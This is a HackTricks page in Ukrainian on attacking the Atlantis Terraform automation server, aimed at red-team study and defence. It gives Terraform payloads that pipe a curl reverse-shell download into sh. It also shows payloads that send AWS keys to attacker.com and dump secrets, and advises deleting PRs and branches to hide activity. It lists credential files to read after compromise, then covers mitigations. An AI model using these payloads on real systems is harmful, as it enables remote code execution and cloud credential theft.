Atlantis Security

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

Atlantis в основному допомагає вам запускати terraform з Pull Requests з вашого git сервера.

Local Lab

Перейдіть на сторінку релізів atlantis за https://github.com/runatlantis/atlantis/releases і завантажте той, що вам підходить.
Створіть персональний токен (з доступом до репозиторіїв) вашого github користувача.
Виконайте ./atlantis testdrive, і він створить демо репозиторій, який ви можете використовувати для зв'язку з atlantis.
Ви можете отримати доступ до веб-сторінки за адресою 127.0.0.1:4141.

Atlantis Access

Git Server Credentials

Atlantis підтримує кілька git хостів, таких як Github, Gitlab, Bitbucket та Azure DevOps. Однак, щоб отримати доступ до репозиторіїв на цих платформах і виконувати дії, потрібно надати деякий привілейований доступ (принаймні права на запис). Документація рекомендує створити користувача на цих платформах спеціально для Atlantis, але деякі люди можуть використовувати особисті акаунти.

У будь-якому випадку, з точки зору атакуючого, акаунт Atlantis буде дуже цікавим для компрометації.

Webhooks

Atlantis використовує опціонально Webhook secrets для перевірки, що webhooks, які він отримує від вашого Git хоста, є легітимними.

Один зі способів підтвердити це - дозволити запити лише з IP-адрес вашого Git хоста, але простіший спосіб - використовувати Webhook Secret.

Зверніть увагу, що якщо ви не використовуєте приватний сервер github або bitbucket, вам потрібно буде відкрити веб-хуки для Інтернету.

Atlantis буде відкривати веб-хуки, щоб git сервер міг надсилати йому інформацію. З точки зору атакуючого було б цікаво знати, чи можете ви надсилати йому повідомлення.

Provider Credentials

З документації:

Atlantis запускає Terraform, просто виконуючи команди terraform plan та apply на сервері, на якому розміщено Atlantis. Так само, як і при запуску Terraform локально, Atlantis потребує облікових даних для вашого конкретного провайдера.

Вам вирішувати, як надавати облікові дані для вашого конкретного провайдера в Atlantis:

Helm Chart для Atlantis та AWS Fargate Module мають свої механізми для облікових даних провайдера. Читайте їх документацію.
Якщо ви запускаєте Atlantis у хмарі, багато хмар мають способи надати доступ до API хмари для додатків, що на них працюють, наприклад:
AWS EC2 Roles (Шукайте "EC2 Role")
GCE Instance Service Accounts
Багато користувачів встановлюють змінні середовища, наприклад, AWS_ACCESS_KEY, де працює Atlantis.
Інші створюють необхідні конфігураційні файли, наприклад, ~/.aws/credentials, де працює Atlantis.
Використовуйте HashiCorp Vault Provider для отримання облікових даних провайдера.

Контейнер, в якому працює Atlantis, ймовірно, міститиме привілейовані облікові дані для провайдерів (AWS, GCP, Github...), які Atlantis управляє через Terraform.

Web Page

За замовчуванням Atlantis буде запускати веб-сторінку на порту 4141 на localhost. Ця сторінка просто дозволяє вам увімкнути/вимкнути atlantis apply і перевірити статус плану репозиторіїв та розблокувати їх (вона не дозволяє змінювати речі, тому не є дуже корисною).

Ви, напевно, не знайдете її відкритою для Інтернету, але, здається, за замовчуванням не потрібні облікові дані для доступу до неї (і якщо вони потрібні, atlantis:atlantis є за замовчуванням).

Server Configuration

Конфігурацію для atlantis server можна вказати через командні прапорці, змінні середовища, конфігураційний файл або комбінацію трьох.

Ви можете знайти тут список прапорців, підтримуваних сервером Atlantis.
Ви можете знайти тут, як перетворити параметр конфігурації на змінну середовища.

Значення вибираються в такому порядку:

Прапорці
Змінні середовища
Конфігураційний файл

Зверніть увагу, що в конфігурації ви можете знайти цікаві значення, такі як токени та паролі.

Repos Configuration

Деякі конфігурації впливають на те, як управляються репозиторії. Однак можливо, що кожен репозиторій вимагатиме різних налаштувань, тому є способи вказати кожен репозиторій. Це порядок пріоритету:

Репозиторій /atlantis.yml файл. Цей файл можна використовувати для вказівки, як atlantis повинен обробляти репозиторій. Однак за замовчуванням деякі ключі не можуть бути вказані тут без деяких прапорців, що дозволяють це.
Ймовірно, потрібно дозволити прапорцями, такими як allowed_overrides або allow_custom_workflows.
Конфігурація на стороні сервера: Ви можете передати її з прапорцем --repo-config, і це yaml, що конфігурує нові налаштування для кожного репозиторію (підтримуються regex).
Значення за замовчуванням.

PR Protections

Atlantis дозволяє вказати, чи хочете ви, щоб PR був схвалений кимось іншим (навіть якщо це не встановлено в захисті гілки) і/або бути злитим (захисти гілки пройдені) перед виконанням apply. З точки зору безпеки, рекомендується встановити обидва параметри.

У разі, якщо allowed_overrides є True, ці налаштування можуть бути перезаписані в кожному проекті файлом /atlantis.yml.

Scripts

Конфігурація репозиторію може вказувати скрипти для виконання перед (pre workflow hooks) та після (post workflow hooks) виконання робочого процесу.

Не існує жодної опції, що дозволяє вказувати ці скрипти у репозиторії /atlantis.yml.

Workflow

У конфігурації репозиторію (конфігурація на стороні сервера) ви можете вказати новий робочий процес за замовчуванням або створити нові користувацькі робочі процеси. Ви також можете вказати, які репозиторії можуть отримати доступ до нових згенерованих. Тоді ви можете дозволити файлу atlantis.yaml кожного репозиторію вказувати робочий процес для використання.

Якщо прапорець конфігурації на стороні сервера allow_custom_workflows встановлено на True, робочі процеси можуть бути вказані у файлі atlantis.yaml кожного репозиторію. Також потенційно потрібно, щоб allowed_overrides також вказував workflow для перезапису робочого процесу, який буде використовуватися. Це в основному надасть RCE на сервері Atlantis будь-якому користувачу, який може отримати доступ до цього репозиторію.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Перевірка політики Conftest

Atlantis підтримує виконання серверних conftest політик проти виходу плану. Загальні випадки використання цього кроку включають:

Відмову у використанні списку модулів
Підтвердження атрибутів ресурсу під час створення
Виявлення ненавмисних видалень ресурсів
Запобігання ризикам безпеки (тобто, відкриття безпечних портів для публіки)

Ви можете перевірити, як це налаштувати в документації.

Команди Atlantis

У документації ви можете знайти варіанти, які можна використовувати для запуску Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Атаки

Якщо під час експлуатації ви знайдете цю помилку: Error: Error acquiring the state lock

Ви можете виправити це, запустивши:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis план RCE - Модифікація конфігурації в новому PR

Якщо у вас є права на запис у репозиторії, ви зможете створити нову гілку та згенерувати PR. Якщо ви можете виконати atlantis plan (або, можливо, це виконується автоматично) ви зможете RCE всередині сервера Atlantis.

Ви можете зробити це, змусивши Atlantis завантажити зовнішнє джерело даних. Просто вставте корисне навантаження, подібне до наступного, у файл main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Стійкіший напад

Ви можете виконати цей напад навіть стійкішим способом, дотримуючись цих порад:

Замість того, щоб додавати rev shell безпосередньо у файл terraform, ви можете завантажити зовнішній ресурс, який містить rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Ви можете знайти код rev shell за посиланням https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

У зовнішньому ресурсі використовуйте функцію ref, щоб приховати код terraform rev shell в гілці всередині репозиторію, щось на зразок: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
Замість того, щоб створювати PR до master, щоб активувати Atlantis, створіть 2 гілки (test1 і test2) і створіть PR з однієї на іншу. Коли ви завершите атаку, просто видаліть PR і гілки.

Atlantis plan Secrets Dump

Ви можете вивантажити секрети, які використовуються terraform, запустивши atlantis plan (terraform plan), вставивши щось на зразок цього в файл terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - Зміна конфігурації в новому PR

Якщо у вас є права на запис у репозиторій, ви зможете створити нову гілку та згенерувати PR. Якщо ви можете виконати atlantis apply, ви зможете RCE всередині сервера Atlantis.

Однак вам зазвичай потрібно буде обійти деякі захисти:

Mergeable: Якщо цей захист встановлений в Atlantis, ви можете виконати atlantis apply тільки якщо PR є mergeable (що означає, що захист гілки потрібно обійти).
Перевірте потенційні обходи захисту гілок
Approved: Якщо цей захист встановлений в Atlantis, деякий інший користувач повинен затвердити PR перед тим, як ви зможете виконати atlantis apply
За замовчуванням ви можете зловживати токеном Gitbot для обходу цього захисту

Виконання terraform apply на шкідливому файлі Terraform з local-exec. Вам просто потрібно переконатися, що деякий payload, наприклад, наступні, закінчується у файлі main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Слідуйте рекомендаціям з попередньої техніки, щоб виконати цю атаку більш приховано.

Впровадження параметрів Terraform

Коли ви виконуєте atlantis plan або atlantis apply, terraform виконується під контролем, ви можете передавати команди terraform з atlantis, коментуючи щось на кшталт:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Щось, що ви можете передати, це змінні середовища, які можуть бути корисними для обходу деяких захистів. Перевірте змінні середовища terraform на https://www.terraform.io/cli/config/environment-variables

Користувацький робочий процес

Виконання зловмисних користувацьких команд збірки, зазначених у файлі atlantis.yaml. Atlantis використовує файл atlantis.yaml з гілки запиту на злиття, а не з master. Цю можливість було згадано в попередньому розділі:

Якщо прапорець конфігурації серверної сторони allow_custom_workflows встановлено на True, робочі процеси можуть бути вказані у файлі atlantis.yaml кожного репозиторію. Також потенційно потрібно, щоб allowed_overrides також вказував workflow для перезапису робочого процесу, який буде використовуватися.

Це, по суті, надасть RCE на сервері Atlantis будь-якому користувачу, який може отримати доступ до цього репозиторію.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Обхід захисту plan/apply

Якщо прапорець server side config allowed_overrides має налаштовані apply_requirements, можливо, що репозиторій зможе змінити захист plan/apply, щоб обійти їх.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

Якщо хтось надсилає atlantis plan/apply коментарі до ваших дійсних pull request, це призведе до запуску terraform, коли ви цього не хочете.

Більше того, якщо у вас не налаштовано захист гілок для повторної оцінки кожного PR, коли до нього додається новий коміт, хтось може написати шкідливі конфігурації (перевірте попередні сценарії) у конфігурації terraform, запустити atlantis plan/apply і отримати RCE.

Це налаштування у захисті гілок Github:

Webhook Secret

Якщо вам вдасться викрасти секрет вебхука або якщо не використовується жоден секрет вебхука, ви зможете викликати вебхук Atlantis і виконати команди atlatis безпосередньо.

Bitbucket

Bitbucket Cloud не підтримує секрети вебхука. Це може дозволити зловмисникам підробляти запити з Bitbucket. Переконайтеся, що ви дозволяєте лише IP-адреси Bitbucket.

Це означає, що зловмисник може надсилати фальшиві запити до Atlantis, які виглядають так, ніби вони надходять з Bitbucket.
Якщо ви вказуєте --repo-allowlist, то вони можуть підробляти лише запити, що стосуються цих репозиторіїв, тому найбільша шкода, яку вони можуть завдати, буде полягати в плануванні/застосуванні на ваших власних репозиторіях.
Щоб запобігти цьому, додайте до білого списку IP-адреси Bitbucket (див. вихідні IPv4-адреси).

Post-Exploitation

Якщо вам вдалося отримати доступ до сервера або принаймні ви отримали LFI, є кілька цікавих речей, які ви повинні спробувати прочитати:

/home/atlantis/.git-credentials Містить облікові дані доступу до vcs
/atlantis-data/atlantis.db Містить облікові дані доступу до vcs з додатковою інформацією
/atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Файл стану Terraform
Приклад: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
/proc/1/environ Змінні середовища
/proc/[2-20]/cmdline Командний рядок atlantis server (може містити чутливі дані)

Mitigations

Don't Use On Public Repos

Оскільки будь-хто може коментувати публічні pull request, навіть з усіма доступними заходами безпеки, все ще небезпечно запускати Atlantis на публічних репозиторіях без належної конфігурації налаштувань безпеки.

Don't Use `--allow-fork-prs`

Якщо ви працюєте на публічному репозиторії (що не рекомендується, див. вище), вам не слід встановлювати --allow-fork-prs (за замовчуванням false), оскільки будь-хто може відкрити pull request зі свого форка до вашого репозиторію.

`--repo-allowlist`

Atlantis вимагає, щоб ви вказали список дозволених репозиторіїв, з яких він прийматиме вебхуки, за допомогою прапора --repo-allowlist. Наприклад:

Конкретні репозиторії: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
Вся ваша організація: --repo-allowlist=github.com/runatlantis/*
Кожен репозиторій у вашій установці GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*
Усі репозиторії: --repo-allowlist=*. Корисно, коли ви в захищеній мережі, але небезпечно без також налаштування секрету вебхука.

Цей прапор забезпечує, щоб ваша установка Atlantis не використовувалася з репозиторіями, які ви не контролюєте. Дивіться atlantis server --help для отримання додаткової інформації.

Protect Terraform Planning

Якщо у вашій моделі загроз зловмисники надсилають pull request з шкідливим кодом Terraform, то ви повинні знати, що схвалення terraform apply недостатньо. Можливо, запустити шкідливий код у terraform plan, використовуючи external data source або вказавши шкідливий провайдер. Цей код може потім ексфільтрувати ваші облікові дані.

Щоб запобігти цьому, ви можете:

Включити провайдери в образ Atlantis або хостити та заборонити вихід у виробництві.
Реалізувати протокол реєстру провайдерів внутрішньо та заборонити публічний вихід, таким чином ви контролюєте, хто має доступ на запис до реєстру.
Змінити ваш конфігурацію репозиторія на стороні сервера's plan крок, щоб перевірити використання заборонених провайдерів або джерел даних або PR з не дозволених користувачів. Ви також можете додати додаткову перевірку на цьому етапі, наприклад, вимагати "палець вгору" на PR перед тим, як дозволити plan продовжити. Conftest може бути корисним тут.

Webhook Secrets

Atlantis слід запускати з налаштованими секретами вебхука через змінні середовища $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Навіть з встановленим прапором --repo-allowlist, без секрету вебхука, зловмисники можуть надсилати запити до Atlantis, видаючи себе за репозиторій, який є в білому списку. Секрети вебхука забезпечують, що запити вебхука дійсно надходять від вашого постачальника VCS (GitHub або GitLab).

Якщо ви використовуєте Azure DevOps, замість секретів вебхука додайте базове ім'я користувача та пароль.

Azure DevOps Basic Authentication

Azure DevOps підтримує надсилання заголовка базової аутентифікації у всіх подіях вебхука. Це вимагає використання HTTPS URL для вашого місця вебхука.

SSL/HTTPS

Якщо ви використовуєте секрети вебхука, але ваш трафік йде через HTTP, то секрети вебхука можуть бути вкрадені. Увімкніть SSL/HTTPS, використовуючи прапори --ssl-cert-file та --ssl-key-file.

Enable Authentication on Atlantis Web Server

Дуже рекомендується увімкнути аутентифікацію у веб-сервісі. Увімкніть BasicAuth, використовуючи --web-basic-auth=true та налаштуйте ім'я користувача та пароль, використовуючи прапори --web-username=yourUsername та --web-password=yourPassword.

Ви також можете передати їх як змінні середовища ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername та ATLANTIS_WEB_PASSWORD=yourPassword.

References